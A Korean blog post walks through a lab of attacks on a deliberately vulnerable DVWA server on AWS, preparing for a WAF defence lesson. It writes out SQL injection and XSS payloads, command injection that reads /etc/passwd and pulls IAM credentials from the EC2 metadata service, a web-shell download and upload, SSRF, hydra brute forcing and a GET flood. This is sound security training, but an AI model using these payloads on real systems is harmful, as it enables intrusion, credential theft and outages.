brunch

37탄-6. AWS - 웹 공격하기

by Master Seo

<0> DVWA로 취약한 웹서버 만들자.

<1> SQL 인젝션 공격하기

<2> Reflected XSS 공격 : XSS(Reflected) 메뉴 클릭

<3> Stored XSS 공격: XSS (Stored) 메뉴 클릭

<4> Command Injection 공격: Command Injection 메뉴 클릭

<5> Backdoor 공격: File Upload 메뉴 클릭 (용도 : 이미지 파일업로드)

<6> SSRF 공격: File Inclusion 메뉴 클릭

<7> Brute Force = 무차별 입력 공격

<8> VPN을 통한 우회 접근: chrome 확장프로그램 Browsec를 사용

<9> GET Flooding 공격: DVWA EC2로 바로 공격




<0> DVWA로 취약한 웹서버 만들자.


취약한 웹서버 보안 공격해보자.


1

Dvwa 사이트 접속

로드밸런서 도메인으로 접속!

admin/ password


왼편 아래서 4번째 DVWA Security > Security Level > Low로 변경.


100 low.png



2

모니터링 하자

별도 터미널)

Tail로 보안 로그 계속 모니터링 하자.



3

공격 내용 ?

아래 AWS 워크셥 자료를 참고해서 작성합니다.

https://catalog.us-east-1.prod.workshops.aws/workshops/bbaefbc2-bb4b-4332-aa36-4047e31c4972/ko-KR/03-attack

110 web attack.png


4

웹 접속 테스트



5

크롬에서 확인

크롬 > 도구 더보기 > 개발자 도구 > 네트워크 > 응답 해더 > 아파치 버전과 php 버전이 노출된다.

해커들은 노출된 버전을 취약점 확인하여 접근 한다!!!



이제부터 웹 공격 하나씩 확인해보자~


<1> SQL 인젝션 공격하기



1

DWVA 사이트 접속 > 왼쪽 SQL injection 메뉴


1 엔터

ID: 1
First name: admin
Surname: admin


2 엔터

ID: 2
First name: Gordon
Surname: Brown



' OR 1=1 #

테이블 정보가 모두 다 나온다!!

Or 1=1 항상 참인 조건이 되어 모든 구분이 동작하게 된다.

ID: ' OR 1=1 #
First name: admin
Surname: admin

ID: ' OR 1=1 #
First name: Gordon
Surname: Brown

ID: ' OR 1=1 #
First name: Hack
Surname: Me

ID: ' OR 1=1 #
First name: Pablo
Surname: Picasso

ID: ' OR 1=1 #
First name: Bob
Surname: Smith




2

#

mysql -uroot -pqwe123

---------------------

SHOW DATABASES;

USE dvwa;

SHOW TABLES;

SELECT * FROM users;

SELECT first_name,last_name FROM users;

SELECT first_name,last_name FROM users WHERE user_id='1';

SELECT first_name,last_name FROM users WHERE user_id='attacker' or 1=1;

SELECT * FROM users WHERE user_id='attacker' or 1=1;

exit

---------------------



3

패드워드 항목에서도 넣어보자.

로그인이 되어 버린다.


# 예를 들어 아래 처럼 정상 로그인(ID/PW) 입력 한다.

SELECT user_id FROM user_table WHERE user_id='john' AND password='qwe123'


# 아래처럼 password 부분에 항상 참이 되게 입력 시 로그온 딘다.

SELECT user_id FROM user_table WHERE user_id='attacker' or 1=1-- AND password='test'


## 결과적으로 아래처럼 변조되어 password에 어떤 값을 입력하든 로그인 허용됨

SELECT user_id FROM user_table WHERE user_id='attacker' or 1=1



4

오른쪽 아래 소스를 보자!!!

View Source


전체 소스 보기 = Compare All Levels 소스 보기 클릭

Low 소스 보기

미듐 소스 보기

하이 소스 보기



5

미듐으로 변경하고 재 테스트 해보자~


DWVA 사이트 접속 > DVWA Security > Low를 Medium으로 변경

로그아웃 > 로그인


SQL injection

텍스트를 입력 하지 못하게 되어 있다!!!

140 미듐.png



다음 테스트를 위해 레벨을 낮춘다.




<2> Reflected XSS 공격 : XSS(Reflected) 메뉴 클릭 - 링크


1

메뉴얼

https://catalog.us-east-1.prod.workshops.aws/workshops/bbaefbc2-bb4b-4332-aa36-4047e31c4972/ko-KR/03-attack/03-storedxss



2

DWVA 사이트 접속 > XSS (Reflected)

: <script>alert(document.cookie)</script>

Summit

쿠키 값이 노출 된다 - -


3

공격자는 쿠키 값으로 사용하여 공격한다.



4

[attack 서버]

PHPSESSID값 확인 : [Attacker]EC2 혹은 웹 접속 후 크롬 개발자 도구에서 확인

#

curl -s 10.0.0.10/vulnerabilities/weak_id/ -v


PHPSESSID 등이 노출 된다.


...

< Set-Cookie: PHPSESSID=r9pr7qodmr2obrbttgln3deada;

...



5

미듐으로 바꿔서 테스트하자!!!

: <script>alert(document.cookie)</script>

안된다.



대응 ?

보안 코딩 되어 있다!!!


확인

# Medium Reflected XSS Source

<?php

header ("X-XSS-Protection: 0");

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {

// Get input

$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user

echo "<pre>Hello {$name}</pre>";

}

?>



다음 테스트를 위해 레벨을 낮춘다.




<3> Stored XSS 공격: XSS (Stored) 메뉴 클릭



1

게시판에 악성 코드 유포하는것.


Stored XSS 공격은 XSS 공격 방법 중 하나로 공격자가 공격 Script 를 웹사이트에 저장해두거나 게시판 등의 게시글 등에 저장해둔 후 사용자가 해당 페이지에 접속하거나 게시글을 클릭하였을 경우 실행되도록 하는 공격


매뉴얼

https://catalog.us-east-1.prod.workshops.aws/workshops/bbaefbc2-bb4b-4332-aa36-4047e31c4972/ko-KR/03-attack/03-storedxss


2

게시판 글 링크 작성

Name : wow!!!

Message 란에 아래 입력

: <script>alert(document.cookie)</script>


쿠키가 노출된다.

160 xss2.png



3

위 게시물을 클릭하면 나의 세션 정보가 공격자에게 전달 되어 버린다.




<4> Command Injection 공격: Command Injection 메뉴 클릭


1

메뉴얼

https://catalog.us-east-1.prod.workshops.aws/workshops/bbaefbc2-bb4b-4332-aa36-4047e31c4972/ko-KR/03-attack/04-command-injection



2

입력

8.8.8.8 ; id

8.8.8.8 ; cat /etc/passwd

1.1.1.1; ls /var/www/html

1.1.1.1; ls /var/www/html/config

1.1.1.1; cat /var/www/html/config/config.inc.php



8.8.8.8 ; cat /etc/passwd

170 password.png



3

Imds v2 확인

버전 2도 문제 된다. 로컬에서 실행되기 떄문이다.


8.8.8.8 ; curl -s http://169.254.169.254/latest/meta-data/iam/

8.8.8.8 ; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole


IMDSv2 확인 - 링크

https://docs.aws.amazon.com/ko_kr/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html

로컬에서 실행되므로 v2 이지만 노출 되어 버린다.



# 토큰 확인 - 토큰이 보이게 된다.

8.8.8.8 ; curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

AQAAAC1ZiLFgZZE4KIakmNxJhuuVi4GmpASxCIm14BeljvVPfwhbzg==




# 사용

8.8.8.8 ; curl -H "X-aws-ec2-metadata-token: <토큰>" -v http://169.254.169.254/latest/meta-data/


8.8.8.8 ; curl -H "X-aws-ec2-metadata-token: AQAAAC1ZiLFgZZE4KIakmNxJhuuVi4GmpASxCIm14BeljvVPfwhbzg==" -v http://169.254.169.254/latest/meta-data/


정보 들이 노출된다.

180 command.png



5

소스 보자.

Low 소스

미듐 소스 = 대응: ‘View Source’ → ‘Compare All Levels’ 확인 : && 와 ;는 제거




<5> Backdoor 공격: File Upload 메뉴 클릭 (용도 : 이미지 파일업로드)


1

메뉴얼

https://catalog.us-east-1.prod.workshops.aws/workshops/bbaefbc2-bb4b-4332-aa36-4047e31c4972/ko-KR/03-attack/06-backdoor



2

DWVA 사이트 접속 > File Upload 메뉴 (파일 업로드)



3

웹 쉘 다운로드 하자.

curl -O https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php

웹 쉘 파일 올리자.



4

웹 프라우저료 사이트 접속하기

Web shell이 실행 된다. 해킹이 가능해지는 것이다.



5

미듐으로 변경하자.


보안 코딩 내용 확인.

이미지 인지 확인하는 코딩 추가!

// Is it an image?

if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {



6

이미지 아닌 파일 업로드 시도.

안 올라간다.

190 image.png




<6> SSRF 공격: File Inclusion 메뉴 클릭


1

보안 레벨 low 로 변경


2

File inclusion 메뉴.

File1 클릭

File2 클릭

File3 클릭 - 정보들이 노출된다.



3

파일 경로 확인.

page=file1.php , file2.php , file3.php 형식으로 올라간다는것 확인했다.


아래 형식이다.

http://my-alb-768944067.ap-northeast-2.elb.amazonaws.com/vulnerabilities/fi/?page=file3.php




4

IMDS 취약점으로 확인

page 다음에 입력한다.


http://<ALB 도메인 주소 >/vulnerabilities/fi/?page=http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole

웹 사이트 접속


access key , secret -key가 노출 된다.

200 access.png



5

소스 내용 확인

미디엄에 보안 코딩 되어 있음.




<7> Brute Force = 무차별 입력 공격


1

무차별 입력 공격: Vulnerability: Brute Force 메뉴 클릭 - DVWA EC2로 바로 공격 - 링크


2

Username(admin) Password(1234) 입력 후 Login


코드 형식 확인.

http://<ALB>/vulnerabilities/brute/?username=admin&password=1234&Login=Login#


3

Username(admin) Password(password) 입력 후 Login

크롬 개발자 도구에서 아래 쿠키값 확인 Php의 세션 id 복사 하기

210 php session id.png


4

[Attacker EC2] 에서


# 공격 시도

password.txt 파일 다운로드 한다.


curl -s 'https://s3.ap-northeast-2.amazonaws.com/do-not-delete-demo-website.ap-northeast-2/aws-waf-a-to-z/password.txt' --output password.txt


more password.txt

[root@Attacker ~]# more password.txt

WelcomeTo

AWS

WAF

Workshop

password

Error



hydra 10.0.0.10 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=28e79da390cfd3627947cfdbfc0a4354; security=low" -l admin -P password.txt


// 위에서 admin은 고정 이름으로 넣음 , 암호는 파일에서 대입한다.

히드라로 암호 확인이 된다.

220 password.png



5

미디엄 레벨로 공격시도

한번 실패하면 2초간 시도 못하게 // 시간은 조절.


# 공격 시도 : medium 레벨로 시도 >> 차이점 알아보자

hydra 10.0.0.10 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=7fe30cfe7830c3aa9980207a10cef8d9; security=medium" -l admin -P password.txt



6

# Medium Brute Force Source

<?php

...

else {

// Login failed

sleep( 2 );

echo "<pre><br />Username and/or password incorrect.</pre>";

}

...




<8> VPN을 통한 우회 접근: chrome 확장프로그램 Browsec를 사용

https://chrome.google.com/webstore/detail/browsec-vpn-free-vpn-for/omghfjlpggmjjaagoclmmobgdodcjboh


1

[DVWA EC2 ]


# 실시간 웹 접속 로그

tail -f /var/log/httpd/access_log |grep -v "ELB-HealthChecker/2.0"



2

자신의 IP를 감추기 위해서 DVWA 인스턴스 접속을 VPN을 통해 우회하여 접근을 시도합니다

Browsec를 사용

미국으로 변경


3

로그에서 접속 ip 확인


4

나중에 vpn으로 된거 WAF로 차단 하는 법이 설명 된다.




<9> GET Flooding 공격: DVWA EC2로 바로 공격


도스 공격이다.


1

[DVWA EC2]


# 터미널1

tail -f /var/log/httpd/access_log |grep -v "ELB-HealthChecker/2.0"


# 터미널2 : 아래 ab 실행 후 CPU 모니터링 확인해볼것!

htop



2

[Attacker EC2]


# 접속 확인

curl -s 10.0.0.10/vulnerabilities/weak_id/ -v

curl -s 10.0.0.10/vulnerabilities/weak_id/ -v


# apache bench 툴로 총 10000000 요청 전송

ab -n 10000000 -c 10 10.0.0.10/vulnerabilities/weak_id/



3

[DVWA EC2]

Cpu와 로그 확인


DOS 공격으로 CPU와 메모리를 과하게 사용중~~




다음은 WAF로 방어해 보자!!! 방어 환경 구축

https://brunch.co.kr/@topasvga/3447


주말 CloudNet 스터디 내용 참고하여 정리한 부분입니다.

https://gasidaseo.notion.site/gasidaseo/CloudNet-Blog-c9dfa44a27ff431dafdd2edacc8a1863



감사합니다.

keyword
매거진의 이전글37탄-5. AWS - 웹 취약점보기, 테스트 환경